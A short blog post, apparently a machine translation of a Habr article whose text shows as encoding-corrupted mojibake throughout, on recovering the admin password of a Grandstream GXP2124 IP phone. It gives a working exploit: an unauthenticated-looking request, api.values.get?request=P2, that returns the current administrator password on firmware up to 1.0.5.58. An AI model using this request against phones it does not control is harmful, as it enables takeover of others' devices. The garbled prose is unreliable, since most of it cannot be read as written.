рдлреЛрди рдореЗрдВ рдкреНрд░рд╢рд╛рд╕рдХ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдПрдВ Grandstream GXP2124

рдЖрдЬ рдореИрдВ рдПрдХ рд╕рдорд╕реНрдпрд╛ рдореЗрдВ рднрд╛рдЧ рдЧрдпрд╛: рдХрд┐рд╕реА рдиреЗ рдлреЛрди рдХреЗ рд▓рд┐рдП рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдкрд╛рд╕рд╡рд░реНрдб рдмрджрд▓ рджрд┐рдпрд╛ред рдиреЗрдЯрд╡рд░реНрдХ рдкрд░ рдЬрд╛рдирдХрд╛рд░реА рдкрдврд╝рдиреЗ рдХреЗ рдмрд╛рдж, рдореИрдВрдиреЗ рдирд┐рд╖реНрдХрд░реНрд╖ рдирд┐рдХрд╛рд▓рд╛ рдХрд┐:


рдЗрд╕ рд╕реНрдерд┐рддрд┐ рд╕реЗ рдмрд╛рд╣рд░ рдирд┐рдХрд▓рдиреЗ рдХрд╛ рд░рд╛рд╕реНрддрд╛ рдХреИрд╕реЗ рдЦреЛрдЬрд╛ рдЬрд╛рдП? рд╣рд╛рдБ рдЖрд╕рд╛рди!
рдкрд╛рд╕рд╡рд░реНрдб рдХреЛ "рдкрд╣рдЪрд╛рди" рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдореИрдВрдиреЗ рд╕рдмрд╕реЗ рдЖрдо Google рдХреНрд░реЛрдо рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рд╣реИ рдЬрд┐рд╕рдореЗрдВ Furebug рдШрдЯрдХреЛрдВ рдХреЛ рд╕реНрдерд╛рдкрд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рд╕рд╛рде рд╣реА рдПрдХ рдФрд░ рдЧреНрд░реИрдВрдбрд╕реНрдЯреНрд░реАрдо GXP2124 рдлреЛрди рд╣реИ, рдЬрд┐рд╕рдХреА рдкрд╣реБрдВрдЪ рдореЗрд░реЗ рдкрд╛рд╕ рд╣реИред

рдЫрд╡рд┐
рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдХрд╛рд░реНрд░рд╡рд╛рдИ рдХрд╛ рддрд░реАрдХрд╛ рдЗрд╕ рдкреНрд░рдХрд╛рд░ рдерд╛:

рд╣рдо рдмреНрд░рд╛рдЙрдЬрд╝рд░ рд▓реЙрдиреНрдЪ рдХрд░рддреЗ рд╣реИрдВ рдФрд░ рдлрд╛рдпрд░рдмрдЧ рдЙрдкрдпреЛрдЧрд┐рддрд╛ рдХреЛ рдЪрд╛рд▓реВ рдХрд░рддреЗ рд╣реИрдВ, рдЬрд┐рд╕рдХреЗ рдмрд╛рдж рд╣рдо рд╡рд┐рднрд┐рдиреНрди рдкреГрд╖реНрдареЛрдВ рдкрд░ "рдЪрд▓рдирд╛" рд╢реБрд░реВ рдХрд░рддреЗ рд╣реИрдВред рдЕрдиреБрд░реЛрдз рд╕реВрдЪреА рдореЗрдВ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдкрд╛рдпрд╛ рдЧрдпрд╛:

POST cgi-bin / api.values.get

рдФрд░ рдЬрд╡рд╛рдм рдХреЗ рд╢рд░реАрд░ рдореЗрдВ рд╕реВрдЪреАрдмрджреНрдз рд╣реИ:

{"рд░рд┐рд╕реНрдкрд╛рдВрд╕": "рд╕рдлрд▓рддрд╛", "рдмреЙрдбреА": {"рд╡реЗрдВрдбрд░_рдлреБрд▓ рдирд╛рдо": "рдЧреНрд░реИрдВрдбрд╕реНрдЯреНрд░реАрдо рдиреЗрдЯрд╡рд░реНрдХ, рдЗрдВрдХред"}

рдЖрдЧреЗ рд╕реНрдХреНрд░реЙрд▓ рдХрд░рддреЗ рд╣реБрдП, рдореБрдЭреЗ рдРрд╕рд╛ рдЕрдиреБрд░реЛрдз рдорд┐рд▓рд╛:
POST cgi-bin / api-phone_operation

рдЬрд┐рд╕рдХреЗ рдЕрдиреБрд░реЛрдз рдореЗрдВ рдкреИрд░рд╛рдореАрдЯрд░ рдкрд╛рд░рд┐рдд рдХрд┐рдП рдЧрдП рдереЗ:

cmd = рд╡рд┐рд╕реНрддрд╛рд░ рдФрд░ arg = & sid = 639534b3e5a

рдЖрдЧреЗ рдХреНрдпрд╛? рдФрд░ рдлрд┐рд░ рдореИрдВ рд╕реБрд░рдХреНрд╖рд╛ рд╕реЗрдЯрд┐рдВрдЧреНрд╕ рдкрд░ рдЬрд╛рддрд╛ рд╣реВрдВ рдФрд░ рдлреЛрди рдкрд░ рдкрд╛рд╕рд╡рд░реНрдб рдмрджрд▓рддрд╛ рд╣реВрдВ, рдЬрд┐рд╕рдХреА рдореЗрд░реЗ рдкрд╛рд╕ рдкрд╣рд▓реЗ рд╕реЗ рд╣реА рдкрд╣реБрдВрдЪ рд╣реИ рдФрд░ рдЙрддреНрддрд░реЛрдВ рдХреА рд╕реВрдЪреА рджреЗрдЦреЗрдВ:
POST cgi-bin / api.values.post
рд╕реНрд░реЛрдд:
P2 = MyNewPass рдФрд░: confirmAdminPwd = MyNewPass рдФрд░ sid = 639534bbeea

рдЬрд╣рд╛рдВ:

рдЖрдЧреЗ, рдХрд▓реНрдкрдирд╛ рджрд┐рдЦрд╛рдиреЗ рдХреЗ рдмрд╛рдж, рд╣рдо рдлреЙрд░реНрдо рдХрд╛ рдЕрдиреБрд░реЛрдз рдХрд░рддреЗ рд╣реИрдВ:

192.168.1.253/cgi-bin/api.values.get?request=P2

рдЬрд╣рд╛рдБ 192.168.1.253 рдлрд╝реЛрди рдХрд╛ IP рдкрддрд╛ рд╣реИред

рднреЗрдЬрдиреЗ рдФрд░ ...

... рдФрд░ рд╣рдореЗрдВ рдлреЙрд░реНрдо рдХрд╛ JSON рдкреНрд░рддрд┐рд╕рд╛рдж рдорд┐рд▓рд╛:
{"рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛": "рд╕рдлрд▓рддрд╛", "рд╢рд░реАрд░": {"P2": "adminPass"}}

рдЬрд╣рд╛рдБ adminPass рд╡рд░реНрддрдорд╛рди рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдкрд╛рд╕рд╡рд░реНрдб рд╣реИред

рд▓рд╛рдн!

рд╕рд╛рджрд░, рдПрдВрдбреНрд░реА рд╣реЗрд▓рдбрд░!

PS: рдЙрдкрд░реЛрдХреНрдд рдЪрд┐рдк 1.0.5.58 рддрдХ рдлрд░реНрдорд╡реЗрдпрд░ рд╕рдВрд╕реНрдХрд░рдгреЛрдВ рдкрд░ рдХрд╛рдо рдХрд░рддреА рд╣реИ
рдпрд╣ рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рд╕реЙрдлреНрдЯрд╡реЗрдпрд░ рд╕рдВрд╕реНрдХрд░рдг 1.0.5.23 рдкрд░ рдкрд░реАрдХреНрд╖рдг рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛

Source: https://habr.com/ru/post/In219225/


All Articles